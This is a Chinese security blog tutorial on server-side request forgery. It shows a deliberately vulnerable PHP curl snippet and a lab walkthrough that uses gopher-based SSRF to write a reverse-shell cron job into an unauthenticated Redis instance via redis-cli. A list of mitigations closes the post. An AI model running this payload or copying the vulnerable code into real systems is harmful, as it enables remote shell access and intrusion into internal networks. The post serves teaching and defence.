SSRF(服务器请求伪造)

  • A+
所属分类:安全文章


大家好

我是早上渗透工程师、晚上健身教练、凌晨工厂保安的铁人三项打工仔。


SSRF(服务器请求伪造)



1、漏洞原理


        SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)


2、漏洞利用方式


1. 对其他外网主机,或者是对内网/本地主机进行断开扫描。

2. 利用file协议读取本地的敏感文件。

3. 攻击运行在内网或者本地不对外网开放的应用程序。


3、漏洞分析


        在例子中,应用获取GET参数url,通过curl_init()初始化curl组件后,通过调用curl_exec请求该url,服务器端会去请求url返回一些信息。

代码如下:

<?php

$aa = curl_init();

curl_setopt($aa, CURLOPT_URL,$_GET['url']);

curl_setopt($aa, CURLOPT_HEADER, 0);

curl_exec($aa);

curl_close($aa);

;?>



4、漏洞利用方式


http://192.168.124.145/ssrf.php?url=http://www.baidu.com

实现功能通过GET参数获取url内容,然后再服务器端访问http://www.baidu.com

 

SSRF(服务器请求伪造)


5、支持的协议


1. http

能进行内网端口的探测-可以通过返回的时间以及返回的长度判断哪些端口开放

 

 

SSRF(服务器请求伪造)


2. ftp

由于FTP协议对返回时间的长短比较精确,可以使用自动化的脚本来进行内网的端口扫描

 

 

SSRF(服务器请求伪造)

SSRF(服务器请求伪造)


3. dict

能进行内网端口的探测-可以探测到具体的版本号等等信息。

 

SSRF(服务器请求伪造)


4. file

能够读取文件

 

SSRF(服务器请求伪造)

 

SSRF(服务器请求伪造)


5. gopher

能进行内网端口的探测-可以发送get或者来攻击内网的redis等服务。


SSRF(服务器请求伪造)

 

 

6、使用ssrf攻击内网redis服务geteshll


        在redis默认是无密码的服务,可以通过未经授权访问,写计划任务弹shell。以下是在普通情况下的getshell,使用payload代码如下:

echo -e "nnn*/1 * * * * bash -i   >&   /dev/tcp/192.168.124.129/6666   0>&1  nnn"  |redis-cli -h 127.0.0.1 -p 6379 -x set 1

redis-cli -h 127.0.0.1 -p 6379 config set dir /var/spool/cron/

redis-cli -h 127.0.0.1 -p 6379 config set dbfilename root

redis-cli -h 127.0.0.1 -p 6379 save

redis-cli -h 127.0.0.1 -p 6379 quit

 

SSRF(服务器请求伪造)


然后在计划任务中,

 

SSRF(服务器请求伪造)


监听6666端口,获得shell

 

SSRF(服务器请求伪造)

 

在普通环境中,攻击无密码的redis服务写计划任务getshell就是以上的流程。

再利用gopher协议下的SSRF如何攻击redis服务getshell

先将上面的脚本转化城gopher协议所支持的格式:

 

SSRF(服务器请求伪造)

 

Github脚本:https://github.com/tarunkant/Gopherus

 

再用bp进行一次URL编码,然后进行访问,再去靶机看看计划任务这时候已经生成

 

 

SSRF(服务器请求伪造)

 

监听4444端口后反弹了shell

 


SSRF(服务器请求伪造)


漏洞防御策略


1. 限制请求的协议,只允许http或者https协议请求

2. 限制不能访问内网IP,以防止对内网主机的攻击,同时也屏蔽IP的十进制输出。

3. 屏蔽返回的详细信息。

 

 

SSRF(服务器请求伪造)





手握日月摘星辰,安全路上永不止步。

                                                   - Khan攻防安全实验室



本文始发于微信公众号(Khan安全攻防实验室):SSRF(服务器请求伪造)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: